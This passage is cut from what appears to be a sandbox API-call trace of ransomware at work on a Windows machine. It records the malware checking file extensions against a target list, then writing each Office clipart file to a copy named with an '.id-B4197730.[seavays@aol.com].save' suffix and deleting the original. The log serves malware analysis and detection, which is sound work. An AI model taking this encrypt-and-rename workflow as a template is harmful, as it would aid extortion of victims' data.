Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0062.921] lstrlenW (lpString=".zip") returned 4 [0062.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.921] lstrlenW (lpString=".rar") returned 4 [0062.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.921] lstrlenW (lpString=".bz2") returned 4 [0062.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.921] lstrlenW (lpString=".7z") returned 3 [0062.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0062.922] lstrlenW (lpString=".dbf") returned 4 [0062.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0062.922] lstrlenW (lpString=".1cd") returned 4 [0062.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0062.922] lstrlenW (lpString=".jpg") returned 4 [0062.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0062.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0062.922] lstrlenW (lpString=".doc") returned 4 [0062.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.922] lstrlenW (lpString=".docx") returned 5 [0062.922] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.922] lstrlenW (lpString=".pdf") returned 4 [0062.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.922] lstrlenW (lpString=".xls") returned 4 [0062.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.922] lstrlenW (lpString=".xlsx") returned 5 [0062.922] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.922] lstrlenW (lpString=".ppt") returned 4 [0062.922] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0062.922] lstrlenW (lpString=".zip") returned 4 [0062.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.922] lstrlenW (lpString=".rar") returned 4 [0062.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.922] lstrlenW (lpString=".bz2") returned 4 [0062.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.923] lstrlenW (lpString=".7z") returned 3 [0062.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0062.923] lstrlenW (lpString=".dbf") returned 4 [0062.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0062.923] lstrlenW (lpString=".1cd") returned 4 [0062.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0062.923] lstrlenW (lpString=".jpg") returned 4 [0062.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.923] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0062.923] lstrlenW (lpString="AN00790_.WMF") returned 12 [0062.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0062.924] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=5684) returned 1 [0062.924] CloseHandle (hObject=0x2ec) returned 1 [0062.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 0x220 [0062.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0062.924] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.925] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0062.925] GetLastError () returned 0x0 [0062.925] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x1634, lpOverlapped=0x0) returned 1 [0062.926] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x1640, lpOverlapped=0x0) returned 1 [0062.927] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0062.927] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0062.928] SetEndOfFile (hFile=0x38c) returned 1 [0062.928] CloseHandle (hObject=0x38c) returned 1 [0062.929] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.929] SetEndOfFile (hFile=0x2ec) returned 1 [0062.930] CloseHandle (hObject=0x2ec) returned 1 [0062.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0062.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0062.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0062.931] lstrlenW (lpString=".doc") returned 4 [0062.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.931] lstrlenW (lpString=".docx") returned 5 [0062.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.931] lstrlenW (lpString=".pdf") returned 4 [0062.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.931] lstrlenW (lpString=".xls") returned 4 [0062.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.931] lstrlenW (lpString=".xlsx") returned 5 [0062.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.931] lstrlenW (lpString=".ppt") returned 4 [0062.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0062.931] lstrlenW (lpString=".zip") returned 4 [0062.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.931] lstrlenW (lpString=".rar") returned 4 [0062.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.931] lstrlenW (lpString=".bz2") returned 4 [0062.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.931] lstrlenW (lpString=".7z") returned 3 [0062.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0062.931] lstrlenW (lpString=".dbf") returned 4 [0062.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0062.931] lstrlenW (lpString=".1cd") returned 4 [0062.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0062.932] lstrlenW (lpString=".jpg") returned 4 [0062.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0062.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0062.932] lstrlenW (lpString=".doc") returned 4 [0062.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.932] lstrlenW (lpString=".docx") returned 5 [0062.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.932] lstrlenW (lpString=".pdf") returned 4 [0062.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.932] lstrlenW (lpString=".xls") returned 4 [0062.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.932] lstrlenW (lpString=".xlsx") returned 5 [0062.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.932] lstrlenW (lpString=".ppt") returned 4 [0062.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0062.932] lstrlenW (lpString=".zip") returned 4 [0062.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.932] lstrlenW (lpString=".rar") returned 4 [0062.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.932] lstrlenW (lpString=".bz2") returned 4 [0062.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.932] lstrlenW (lpString=".7z") returned 3 [0062.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0062.932] lstrlenW (lpString=".dbf") returned 4 [0062.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0062.932] lstrlenW (lpString=".1cd") returned 4 [0062.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0062.933] lstrlenW (lpString=".jpg") returned 4 [0062.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.933] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0062.933] lstrlenW (lpString="AN00853_.WMF") returned 12 [0062.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0062.933] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=20578) returned 1 [0062.933] CloseHandle (hObject=0x2ec) returned 1 [0062.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 0x220 [0062.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0062.934] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.934] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0062.934] GetLastError () returned 0x0 [0062.934] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x5062, lpOverlapped=0x0) returned 1 [0062.936] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x5070, lpOverlapped=0x0) returned 1 [0062.937] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0062.938] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0062.938] SetEndOfFile (hFile=0x38c) returned 1 [0062.938] CloseHandle (hObject=0x38c) returned 1 [0062.939] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.939] SetEndOfFile (hFile=0x2ec) returned 1 [0062.940] CloseHandle (hObject=0x2ec) returned 1 [0062.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.941] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0062.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0062.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0062.941] lstrlenW (lpString=".doc") returned 4 [0062.941] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.941] lstrlenW (lpString=".docx") returned 5 [0062.941] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.941] lstrlenW (lpString=".pdf") returned 4 [0062.941] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.941] lstrlenW (lpString=".xls") returned 4 [0062.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.941] lstrlenW (lpString=".xlsx") returned 5 [0062.941] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.941] lstrlenW (lpString=".ppt") returned 4 [0062.941] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0062.942] lstrlenW (lpString=".zip") returned 4 [0062.942] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.942] lstrlenW (lpString=".rar") returned 4 [0062.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.942] lstrlenW (lpString=".bz2") returned 4 [0062.942] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.942] lstrlenW (lpString=".7z") returned 3 [0062.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0062.942] lstrlenW (lpString=".dbf") returned 4 [0062.942] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0062.942] lstrlenW (lpString=".1cd") returned 4 [0062.942] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0062.942] lstrlenW (lpString=".jpg") returned 4 [0062.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0062.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0062.942] lstrlenW (lpString=".doc") returned 4 [0062.942] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.942] lstrlenW (lpString=".docx") returned 5 [0062.942] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.942] lstrlenW (lpString=".pdf") returned 4 [0062.942] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.942] lstrlenW (lpString=".xls") returned 4 [0062.942] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.942] lstrlenW (lpString=".xlsx") returned 5 [0062.942] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.943] lstrlenW (lpString=".ppt") returned 4 [0062.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0062.943] lstrlenW (lpString=".zip") returned 4 [0062.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.943] lstrlenW (lpString=".rar") returned 4 [0062.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.943] lstrlenW (lpString=".bz2") returned 4 [0062.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.943] lstrlenW (lpString=".7z") returned 3 [0062.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0062.943] lstrlenW (lpString=".dbf") returned 4 [0062.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0062.943] lstrlenW (lpString=".1cd") returned 4 [0062.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0062.943] lstrlenW (lpString=".jpg") returned 4 [0062.943] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.943] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0062.943] lstrlenW (lpString="AN00914_.WMF") returned 12 [0062.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0062.944] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=10832) returned 1 [0062.944] CloseHandle (hObject=0x2ec) returned 1 [0062.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 0x220 [0062.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0062.944] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.944] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0062.945] GetLastError () returned 0x0 [0062.945] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x2a50, lpOverlapped=0x0) returned 1 [0063.329] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x2a60, lpOverlapped=0x0) returned 1 [0063.333] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0063.333] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0063.333] SetEndOfFile (hFile=0x38c) returned 1 [0063.333] CloseHandle (hObject=0x38c) returned 1 [0063.334] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.334] SetEndOfFile (hFile=0x2ec) returned 1 [0063.335] CloseHandle (hObject=0x2ec) returned 1 [0063.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0063.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0063.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0063.336] lstrlenW (lpString=".doc") returned 4 [0063.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.336] lstrlenW (lpString=".docx") returned 5 [0063.336] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.336] lstrlenW (lpString=".pdf") returned 4 [0063.336] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.336] lstrlenW (lpString=".xls") returned 4 [0063.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.336] lstrlenW (lpString=".xlsx") returned 5 [0063.336] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.336] lstrlenW (lpString=".ppt") returned 4 [0063.336] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0063.336] lstrlenW (lpString=".zip") returned 4 [0063.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.336] lstrlenW (lpString=".rar") returned 4 [0063.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.337] lstrlenW (lpString=".bz2") returned 4 [0063.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.337] lstrlenW (lpString=".7z") returned 3 [0063.337] lstrcmpiW (lpString1=".7z", 